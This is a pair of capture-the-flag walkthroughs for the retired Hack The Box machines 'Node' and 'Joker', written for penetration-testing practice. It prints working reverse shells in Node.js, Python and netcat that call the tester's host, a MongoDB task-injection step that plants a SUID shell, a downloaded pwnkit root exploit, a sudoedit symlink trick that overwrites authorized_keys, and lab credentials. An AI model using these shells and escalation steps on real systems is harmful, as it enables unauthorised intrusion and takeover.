htb-node

Today we are going to solve another CTF challenge “Node” which is available online for those who want to increase their skill in penetration testing and black box testing. Node is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Intermediate

Task: find user.txt and root.txt file on victim’s machine.

Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.58 so let’s begin with nmap port enumeration.

root@kali:~/htb/node# nmap -sC -sV 10.10.10.58
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-03 15:37 CET
Nmap scan report for 10.10.10.58
Host is up (0.028s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
| 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_ 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open http Node.js Express framework
| hadoop-datanode-info: 
|_ Logs: /login
| hadoop-tasktracker-info: 
|_ Logs: /login
|_http-title: MyPlace
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.01 seconds
root@kali:~/htb/node# dirb http://10.10.10.58:3000 -a "Custom Agent"
-----------------
DIRB v2.22 
By The Dark Raver
-----------------
START_TIME: Thu Jan 3 15:39:21 2019
URL_BASE: http://10.10.10.58:3000/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
USER_AGENT: Custom Agent
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.58:3000/ ----
+ http://10.10.10.58:3000/assets (CODE:301|SIZE:171) 
+ http://10.10.10.58:3000/uploads (CODE:301|SIZE:173) 
+ http://10.10.10.58:3000/vendor (CODE:301|SIZE:171) 
-----------------
END_TIME: Thu Jan 3 15:41:56 2019
DOWNLOADED: 4612 - FOUND: 3

Knowing port 3000 is running HTTP on target machine we preferred to explore his IP our browser.

We don’t find anything on the home page so we take a look at the source code of the page and go through javascripts. In one of the javascript we find a link to a page called /api/users/latest.

We open http://10.10.10.58:3000/api/users and find the usernames and passwords in the hash.

[{"_id":"59a7365b98aa325cc03ee51c","username":"myP14ceAdm1nAcc0uNT","password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af","is_admin":true},{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false},{"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false},{"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false}]

We use https://crackstation.net to decode the hashes that we found earlier.

We click on login and use one the username to login with its corresponding password. When we log in we find an option to download the backup. We click on it and it downloads a file called “myplace.backup”.

We try to take a look at the downloaded file and find that it is base64 encoded.

We decode the backup file and find it to be a zip file.

root@kali:~/# cat myplace.backup | base64 --decode > myplace

When we try to unzip the file it asks for a password, so we use fcrackzip to brute-force the zip file using rockyou.txt as wordlist. After brute-forcing the file we find the password; we use this password to unzip the file.

root@kali:~/# fcrackzip -D -p /usr/share/wordlists/rockyou.txt myplace

After unzipping the file we find a file few HTML and javascript files that look like the implementation of node.js. In app.js we find the username and password hash for monogDB.

We use this username and password to login through ssh into the target machine.

root@kali:~/htb/node# ssh mark@10.10.10.58
mark@10.10.10.58's password:5AYRft73VtFpc84k

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

.-. 
.-'``(|||) 
,`\ \ `-`. 88 88 
/ \ '``-. ` 88 88 
.-. , `___: 88 88 88,888, 88 88 ,88888, 88888 88 88 
(:::) : ___ 88 88 88 88 88 88 88 88 88 88 88 
`-` ` , : 88 88 88 88 88 88 88 88 88 88 88 
\ / ,..-` , 88 88 88 88 88 88 88 88 88 88 88 
`./ / .-.` '88888' '88888' '88888' 88 88 '8888 '88888' 
`-..-( ) 
`-`


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Wed Sep 27 02:33:14 2017 from 10.10.14.3
mark@node:~$ 
`
mark@node:/home/tom$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.7 37928 5588 ? Ss 2018 0:10 /sbin/init
--snip--
root 1231 0.0 0.7 65520 5904 ? Ss 2018 0:00 /usr/sbin/sshd -D
tom 1232 0.0 6.4 1028324 48628 ? Ssl 2018 0:29 /usr/bin/node /var/www/myplace/app.js
mongodb 1234 0.4 9.8 284032 74904 ? Ssl 2018 21:08 /usr/bin/mongod --auth --quiet --config /etc/mon

When we take a look at the process running into the system, we find that it is running app.js as tom user.

We open app.js and find the same username and password that we found earlier. It means that its backup was created using some script or program that we find earlier. Going through the file we also find this script calls for a file called backup in /usr/local/bin directory and uses a key to create a backup.

Now that we know that the target machine is running mongoDB we use this to exploit the system and get a reverse shell.

This process is repeated every 30 seconds, indefinitely. As the service is running as tom, this gives the attacker an easy means of escalating to the tom account.

To exploit this, first, the attacker must connect to the mongodb instance using the previously identified credentials by running mongo -p -u mark scheduler and then entering the password when prompted.

From here, the attacker should simply create a new document in the tasks collection, with their desired payload as the cmd property.

mark@node:~$ mongo -p -u mark scheduler
MongoDB shell version: 3.2.16
Enter password:5AYRft73VtFpc84k
connecting to: scheduler
> db.tasks.insert( { "cmd": "/bin/cp /bin/bash /tmp/puckbash; chmod u+s /tmp/puckbash;" } );
WriteResult({ "nInserted" : 1 })

After the scheduler service picks up this task on its next run, a new SUID binary will be in the /tmp directory:

mark@node:/tmp$ ./puckbash -p
tombash-4.3$ whoami
tom
Or we can use The Node.js reverse shell

The Javascript code below is a Node.js reverse shell. Remember to change the IP address and PORT with the nc you are running.

root@kali:~/htb/node# cat reverse.js
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(443, "10.10.14.19", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
root@kali:~/htb/node# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.58 - - [03/Jan/2019 18:22:42] "GET /reverse.js HTTP/1.1" 200 -
mark@node:/tmp$ wget http://10.10.14.19/reverse.js
--2019-01-03 17:19:33-- http://10.10.14.19/reverse.js
Connecting to 10.10.14.19:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 381 [application/javascript]
Saving to: ‘reverse.js’

reverse.js 100%[===================>] 381 --.-KB/s in 0s

2019-01-03 17:19:33 (41.4 MB/s) - ‘reverse.js’ saved [381/381]

mark@node:/tmp$ mongo -u mark -p 5AYRft73VtFpc84k scheduler
MongoDB shell version: 3.2.16
connecting to: scheduler
> use scheduler
switched to db scheduler
> show collections
tasks
> db.tasks.insert({"cmd":"/usr/bin/node /tmp/reverse.js"});
WriteResult({ "nInserted" : 1 })

Alternatively:

mark@node:/tmp$ cat shell.sh
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.8",53));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

mark@node:/tmp$ mongo -p -u mark scheduler
MongoDB shell version: 3.2.16
Enter password: 5AYRft73VtFpc84k
connecting to: scheduler
> mongo -u mark -p 5AYRft73VtFpc84k scheduler
2019-09-11T13:43:45.676+0100 E QUERY [thread1] SyntaxError: missing ; before statement @(shell):1:9

> use scheduler
switched to db scheduler
> show collections
tasks
> db.tasks.insertOne( { cmd: "bash /tmp/shell.sh" });
{
"acknowledged" : true,
"insertedId" : ObjectId("5d78ecb0e390010121399dd1")
}
>
root@kali:~/htb# rlwrap nc -lvp 53
listening on [any] 53 ...
10.10.10.58: inverse host lookup failed: Unknown host
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.58] 49462
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1002(admin)
$ cd /home/tom
$ cat user.txt
e11*****1b1
User Shell (tom) / Privilege Escalation

Now that the attacker is in the context of tom, they can read user.txt and start moving on to the root user.

To escalate at this point, the attacker needs to revisit some of the information found previously. Now that there is access to tom, who is part of the admin group, the SUID found in /usr/local/bin can be accessed; depending on how the shell was accessed.

If it was accessed using a SUID as per the previous section, an additional step will have to be taken, which will be modifying the SUID binary to also set the GID bit; and to change the group owner to admin for example by adding another task in mongodb like this:

db.tasks.insert( { cmd: "/bin/chown tom:admin /tmp/puckbash; chmod g+s /tmp/pucktombash;" } );

Once the GID bit is set, the shell will also inherit the admin group:

puckbash-4.3$ groups
mark admin

The reason this is required is as an earlier section pointed out – the SUID within /usr/local/bin can only be executed by root and members of the admin group.

Once the attacker has access to this binary, running it with no parameters will result in nothing being output to stdout.

At this point, the attacker can either begin fuzzing the application to find the usage, or can rewind back to the Node.js application that was serving the web application. As this binary is what the Node.js application is using for the backup functionality.

Examining the code in /var/www/myplace/app.js will show that it’s calling it with the following effective command:

/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /var/www/myplace

The parameter list, in order from left to right, is:

  • The output mode, -q for quiet, or any other string for a verbose output
  • The access token
  • The directory to archive

Should the user fuzz the application, they’ll not be able to progress without a valid access token:

The access tokens can be found, in plain text, within the /etc/myplace directory, if the user decides to go the fuzzing route.

From here, there are multiple ways to get the root flag and a root shell.

Method 1 – Using Wildcards (Easy)

The easiest route to getting the root flag, is to use wildcards to work around the blacklisted keywords. If attempting to use the backup tool to backup the /root directory, users will be presented with a fake backup:

tom@node:/tmp$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root
 [+] Finished! Encoded backup is below:

UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==

Upon decoding and extracting this backup, root.txt won’t be quite what it seems:

By replacing some characters with wildcards, however, it is possible to evade the blacklist and grab the root flag:

tom@node:/tmp$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /r**t/r**t.txt | base64 -d > root.zip
tom@node:/tmp$ unzip root.zip
Archive:  root.zip
[root.zip] root/root.txt password:
 extracting: root/root.txt           
tom@node:/tmp$ cat root/root.txt
172*****be0
tom@node:/tmp$

Unattended pwnkit exploit  to root

https://github.com/puckiestyle/CVE-2021-4034

tom@node:/dev/shm$ wget http://10.10.14.12/cve-2021-4034.elf
wget http://10.10.14.12/cve-2021-4034.elf
--2022-03-16 09:51:19-- http://10.10.14.12/cve-2021-4034.elf
Connecting to 10.10.14.12:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16864 (16K) [application/octet-stream]
Saving to: ‘cve-2021-4034.elf’

cve-2021-4034.elf 100%[===================>] 16.47K --.-KB/s in 0.1s

2022-03-16 09:51:19 (161 KB/s) - ‘cve-2021-4034.elf’ saved [16864/16864]

tom@node:/dev/shm$ chmod +x cve-2021-4034.elf
chmod +x cve-2021-4034.elf
tom@node:/dev/shm$ ls -la
ls -la
total 24
drwxrwxrwt 2 root root 80 Mar 16 09:51 .
drwxr-xr-x 20 root root 3980 Mar 16 08:07 ..
-rwxr-xr-x 1 tom tom 16864 Mar 16 09:31 cve-2021-4034.elf
-rw-r--r-- 1 tom tom 3858 Mar 16 08:59 root.zip
tom@node:/dev/shm$ ./cve-2021-4034.elf
./cve-2021-4034.elf
# id
id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1000(tom),1002(admin)
# cd /root
cd /root
# ls
ls
root.txt
# cat root.txt
cat root.txt
1722[redacted]6be0
#

Author: Jacco Straathof

HTB – Joker

Today we are going to solve another CTF challenge “Joker” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit write up of any Active lab therefore we have chosen retried joker lab.

Level: Intermediate

Task: find user.txt and root.txt file in victim’s machine.

Since these labs are online available therefore they have static IP. The IP of Joker is 10.10.10.21 so let’s begin with nmap port enumeration.

root@kali:~/htb/joker# nmap -sC -sV 10.10.10.21
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-03 09:15 CET
Nmap scan report for 10.10.10.21
Host is up (0.029s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 88:24:e3:57:10:9f:1b:17:3d:7a:f3:26:3d:b6:33:4e (RSA)
| 256 76:b6:f6:08:00:bd:68:ce:97:cb:08:e7:77:69:3d:8a (ECDSA)
|_ 256 dc:91:e4:8d:d0:16:ce:cf:3d:91:82:09:23:a7:dc:86 (ED25519)
3128/tcp open http-proxy Squid http proxy 3.5.12
|_http-server-header: squid/3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.94 seconds

Next we use UDP scan to further enumerate the ports and find port 69 and 5355 are open.

root@kali:~/htb/joker# nmap -sU 10.10.10.21
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-03 09:17 CET
Nmap scan report for 10.10.10.21
Host is up (0.028s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
69/udp open|filtered tftp
5355/udp open|filtered llmnr

Nmap done: 1 IP address (1 host up) scanned in 1105.48 seconds

After finding that the target machine is running tftp, we find a file called passwords we download the file and find that it consist of some hashes.

root@kali:~/htb/joker# tftp 10.10.10.21
tftp> get passwords
Received 48 bytes in 0.1 seconds

After downloading the file we use john the ripper to crack the hashes using rockyou.txt wordlist. We find the password to be “ihateseafood” for user “kalamari“.

root@kali:~/htb/joker# john --wordlist=/usr/share/wordlists/rockyou.txt passwords 
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 128/128 SSE2 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
ihateseafood (kalamari)
1g 0:00:07:05 DONE (2019-01-03 09:32) 0.002350g/s 17487p/s 17487c/s 
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Now when we try to access the target machine on our browser we see a custom error message.

Now as we are running redirecting all the traffic through the proxy server we try to open localhost on our browser to check if there are any changes in the behaviour. As soon as we open localhost on our browser we are greeted with a login popup.

We use the password and username we found above by cracking the hashes to login into the page.

We use dirb to enumerate the directories and find /console directory.

root@kali:~/htb/joker# dirb http://127.0.0.1 -p 10.10.10.21:3128 -P kalamari:ihateseafood -R

-----------------
DIRB v2.22 
By The Dark Raver
-----------------

START_TIME: Thu Jan 3 09:48:40 2019
URL_BASE: http://127.0.0.1/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
PROXY: 10.10.10.21:3128
PROXY AUTHORIZATION: kalamari:ihateseafood
OPTION: Interactive Recursion

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://127.0.0.1/ ----
+ http://127.0.0.1/console (CODE:200|SIZE:1479)
root@kali:~/htb/joker# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
09:53:30.613267 IP 10.10.10.21 > kali: ICMP echo request, id 1912, seq 1, length 64
09:53:30.613294 IP kali > 10.10.10.21: ICMP echo reply, id 1912, seq 1, length 64
09:53:31.615703 IP 10.10.10.21 > kali: ICMP echo request, id 1912, seq 2, length 64
09:53:31.615721 IP kali > 10.10.10.21: ICMP echo reply, id 1912, seq 2, length 64
root@kali:~/htb/joker# base64 -d iptables.b64 
# Generated by iptables-save v1.6.0 on Fri May 19 18:01:16 2017
*filter
:INPUT DROP [41573:1829596]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [878:221932]
-A INPUT -i ens33 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -i ens33 -p tcp -m tcp --dport 3128 -j ACCEPT
-A INPUT -i ens33 -p udp -j ACCEPT
-A INPUT -i ens33 -p icmp -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A OUTPUT -o ens33 -p tcp -m state --state NEW -j DROP
COMMIT
# Completed on Fri May 19 18:01:16 2017

Now we use python reverse shell to gain access to the target machine but TCP reverse shell doesn’t work on the system so we use one of the 2 below UDP reverse shells to gain access of the system.

>>> os.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -u 10.10.14.19 443 >/tmp/f &").read()
import subprocess;subprocess.Popen(["python", "-c", 'import os;import pty;import socket;s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM);s.connect((\"10.10.14.19\", 443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv(\"HISTFILE\",\"/dev/null\");pty.spawn(\"/bin/sh\");s.close()'])

We  setup our netcat udp listener to catch it

root@kali:~/htb/joker# nc -ulvp 443
listening on [any] 443 ...
10.10.10.21: inverse host lookup failed: Unknown host
connect to [10.10.14.19] from (UNKNOWN) [10.10.10.21] 35179
/bin/sh: 0: can't access tty; job control turned off
$ python -c "import pty; pty.spawn('/bin/bash')" 
werkzeug@joker:~$ sudo -l
sudo -l
Matching Defaults entries for werkzeug on joker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    sudoedit_follow, !sudoedit_checkdir

User werkzeug may run the following commands on joker:
    (alekos) NOPASSWD: sudoedit /var/www/*/*/layout.html

Enumerating through the directories we find .ssh folder in /home/alekos folder.

Now as the file listed in the sudoers list is using wildcard we can use symlink to link a file that can be edited using sudoedit. As we found the .ssh folder for user alekos we link the authorized_keys with layout.html to edit the authorized_keys and add our keys , so that we can gain access through ssh using our own private key.

cd /var/www/
cd testing
mkdir test
cd test
ln -s /home/alekos/.ssh/authorized_keys layout.html

Now we use sudoedit as user alekos to edit alekos’s authorized_keys.

sudoedit -u alekos /var/www/testing/test/layout.html

Now we generate keys on our system so that we can copy the public key into authorized_keys and use our private key to login.

root@kali:~/htb/joker# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:mP8J+URqNj0Yh1RBqIyGdBjixP/L7ZNvUeiCO9NIj/k root@kali
The key's randomart image is:
+---[RSA 2048]----+
|o..o o+. |
|ooo . .. |
| o.o o .. . |
| ..o o+ o . |
| .. + S + |
| + o @ |
| o X % = |
| X O B o |
| =E+.+ |
+----[SHA256]-----+

root@kali:~/htb/joker# cat /root/.ssh/id_rsa.pub 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUDGsFYrH1Jsiesg9cgaQeqnfHREgLnNRQX784RW5FagOGCbVugWWo18pdsjOLJb2axPvrKbHWuM9xScs9KbKo8/UZMaCnlzo+D2r18WsrfhPx/GPWlvj8xy/gcdH2Q53zeJC0wl1/eVnZkC54+12NuqVrdq/4PfBr3PoJ4d/bUOb5wdz+NEz0b0e60eGbUpx11ngh135EqssN7bKuMvxoYmyNbSqrxMcah+mY8QFqOSQcUq1sULp8Ty+vcJo7iK4vON+/jH6Iia0JsFDIT75GCdO+BS+ksKeSk1EB61SpSAFoDqCRB6IoBTZKVk7UTgvNVnkFuc4KbsrswvPbe5qv root@kali

We copy it in our target machine and save it.

Now we use the private key we generated to login through ssh to the target machine. As soon as we login through ssh we find user.txt in the home directory of alekos we open it and find the first flag.

root@kali:~/htb/joker# ssh -i sshkey alekos@10.10.10.21
alekos@10.10.10.21's password:

root@kali:~/htb/joker# ssh -i sshkey alekos@10.10.10.21
Welcome to Ubuntu 16.10 (GNU/Linux 4.8.0-52-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.


Last login: Thu Jan 3 10:42:43 2019 from 10.10.14.16
alekos@joker:~$

Now we rename the development directory to dev/ and use symlink to link the root directory to the development directory.

alekos@joker:~$ ls
backup development user.txt
alekos@joker:~$ mv development dev/
alekos@joker:~$ ln -s root development
alekos@joker:~$ ls -la
total 52
drwxr-xr-x 7 alekos alekos 4096 Jan 3 11:52 .
drwxr-xr-x 3 root root 4096 May 16 2017 ..
drwxrwx--- 2 root alekos 12288 Jan 3 11:50 backup
-rw------- 1 root root 0 May 17 2017 .bash_history
-rw-r--r-- 1 alekos alekos 220 May 16 2017 .bash_logout
-rw-r--r-- 1 alekos alekos 3771 May 16 2017 .bashrc
drwx------ 2 alekos alekos 4096 May 17 2017 .cache
drwxr-x--- 5 alekos alekos 4096 Jan 3 10:44 dev
lrwxrwxrwx 1 alekos alekos 4 Jan 3 11:52 development -> root
drwxr-xr-x 2 alekos alekos 4096 May 17 2017 .nano
-rw-r--r-- 1 alekos alekos 655 May 16 2017 .profile
drwxr-xr-x 2 alekos alekos 4096 May 20 2017 .ssh
-r--r----- 1 root alekos 33 May 19 2017 user.txt

We then wait for a few minutes for the file to create backup for the new development folder. As the development is linked to root folder it will create a backup for the root folder. Now we open the new tape archive file that is created and find a file called root.txt we open it and find the final flag.

alekos@joker:~/backup$ ls -la
total 1148
drwxrwx--- 2 root   alekos 12288 Jan  3 11:55 .
drwxr-xr-x 7 alekos alekos  4096 Jan  3 11:52 ..
-rw-r----- 1 root   alekos 40960 Jan  3 09:40 dev-1546501201.tar.gz
-rw-r----- 1 root   alekos 40960 Jan  3 09:45 dev-1546501501.tar.gz
--snip--
-rw-r----- 1 root alekos 40960 Jan 3 11:45 dev-1546508701.tar.gz
-rw-r----- 1 root alekos 40960 Jan 3 11:50 dev-1546509001.tar.gz
-rw-r----- 1 root alekos 10240 Jan 3 11:55 dev-1546509301.tar.gz
alekos@joker:~/backup$ tar -xvf dev-1546509301.tar.gz
backup.sh
root.txt
alekos@joker:~/backup$ cat root.txt
d45---snip---146e

Author: Jacco Straathof